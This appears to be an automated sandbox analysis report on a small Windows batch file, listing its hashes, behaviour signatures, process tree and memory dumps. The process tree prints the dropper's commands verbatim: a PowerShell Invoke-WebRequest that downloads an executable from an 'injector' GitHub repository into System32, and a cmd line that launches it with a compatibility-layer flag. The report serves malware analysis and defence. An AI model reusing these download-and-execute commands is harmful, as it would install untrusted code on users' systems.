Analysis

  • max time kernel
    13s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    04/03/2025, 03:52

General

  • Target

    fb4ce395283d4dcc0632cddf7ab374aff3e3a03e2871364ea419ddc8deecaad4.bat

  • Size

    809B

  • MD5

    da0c105256eccbca5772fb173b5a313f

  • SHA1

    db0583cd2282aec4f414763cf22d677ec7073f76

  • SHA256

    fb4ce395283d4dcc0632cddf7ab374aff3e3a03e2871364ea419ddc8deecaad4

  • SHA512

    ea2b97998c20ed28f874b83bd15fccfd82dc34a6655988d121c833e5c0352cb4d23c4be1312c0a6863d3629a7d8957de2560fc9be42dfe22c375f937ccee894d

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\fb4ce395283d4dcc0632cddf7ab374aff3e3a03e2871364ea419ddc8deecaad4.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2580
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\Pictures\My Wallpaper.jpg" MD5 | find /i "MD5 hash"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:324
      • C:\Windows\system32\certutil.exe
        certutil -hashfile "C:\Users\Admin\Pictures\My Wallpaper.jpg" MD5
        3⤵
          PID:2160
        • C:\Windows\system32\find.exe
          find /i "MD5 hash"
          3⤵
            PID:2396
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/main/tes.exe' -OutFile 'C:\Windows\System32\tes.exe'"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1248
        • C:\Windows\system32\cmd.exe
          cmd /min /C "set __COMPAT_LAYER=runasinvoker && start "" "C:\Windows\System32\tes.exe"
          2⤵
          • Access Token Manipulation: Create Process with Token
          PID:2896

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/1248-4-0x000007FEF5BBE000-0x000007FEF5BBF000-memory.dmp

        Filesize

        4KB

      • memory/1248-5-0x000000001B2E0000-0x000000001B5C2000-memory.dmp

        Filesize

        2.9MB

      • memory/1248-6-0x0000000002290000-0x0000000002298000-memory.dmp

        Filesize

        32KB

      • memory/1248-7-0x000007FEF5900000-0x000007FEF629D000-memory.dmp

        Filesize

        9.6MB

      • memory/1248-8-0x000007FEF5900000-0x000007FEF629D000-memory.dmp

        Filesize

        9.6MB

      • memory/1248-9-0x000007FEF5900000-0x000007FEF629D000-memory.dmp

        Filesize

        9.6MB

      • memory/1248-10-0x000007FEF5900000-0x000007FEF629D000-memory.dmp

        Filesize

        9.6MB

      • memory/1248-11-0x000007FEF5900000-0x000007FEF629D000-memory.dmp

        Filesize

        9.6MB

      • memory/1248-12-0x000007FEF5900000-0x000007FEF629D000-memory.dmp

        Filesize

        9.6MB